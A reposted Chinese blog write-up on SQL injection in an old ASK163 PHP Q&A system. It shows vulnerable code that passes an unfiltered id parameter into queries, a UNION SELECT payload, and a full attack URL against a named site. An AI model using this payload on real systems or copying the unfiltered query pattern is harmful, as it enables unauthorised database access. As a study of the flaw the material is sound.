码迷,mamicode.com
首页 > 其他好文 > 详细

一次突破思路

时间:2015-03-07 18:33:40      阅读:142      评论:0      收藏:0      [点我收藏+]

标签:

Title:一次突破思路  2013-07-02 13:46

PHP代码如下

elseif($command==‘readmsg‘) 
{ 
    $query=$dblink->query("select * from $tablepre"."message where id=$_GET[id]");//未过滤 
    $msg=$dblink->fetch_array($query); 
    $msg_id=$msg[‘id‘];//得到信息的ID号 
    $msg_senduser=$msg[‘senduser‘];//得到发送信息的用户名 
    $msg_title=$msg[‘title‘];//得到信息的标题 
    $msg_content=$msg[‘content‘];//得到信息的内容,为什么两次? 
    $msg_content=$msg[‘content‘]; 
    $msg_time=date("Y-n-d H:i:s",$msg[‘time‘]);//格式化发送信息的时间 
    if($msg_senduser==$ngoask_user)//对比发送信息的用户名跟当前登录用户名 
    { 
        $enable_receive=0; 
    } 
    else
    { 
        $enable_receive=1; 
        $dblink->query("update $tablepre"."message set readtag=1 where id=$_GET[id]"); 
    } 
}

  

这遇到的是一款很老的ASK163系统。

很奇葩的是,这登录以后,$ngoask_user的值竟然显示是null,所以if的时候,两个用户名不相等。

所以会执行两个SQL语句。

后面通过联合查询控制,$msg[‘senduser‘]的值为null.显示位第2位为senduser.

select * from $tablepre"."message where id=-14 Union select 1,null,2,3,4,5,6,7,version(),9,10

http://www.f100.com/ask/my.php?command=readmsg&id=-14+Union+select+1,null,3,4,5,6,7,version(),9,10

这样$msg_senduser==$ngoask_user,都为null,如果$ngoask_user的值为其他,那就select其他值,相等就OK。不会执行update语句。

一次突破思路

标签:

原文地址:http://www.cnblogs.com/TeaIng-Index/p/4320689.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!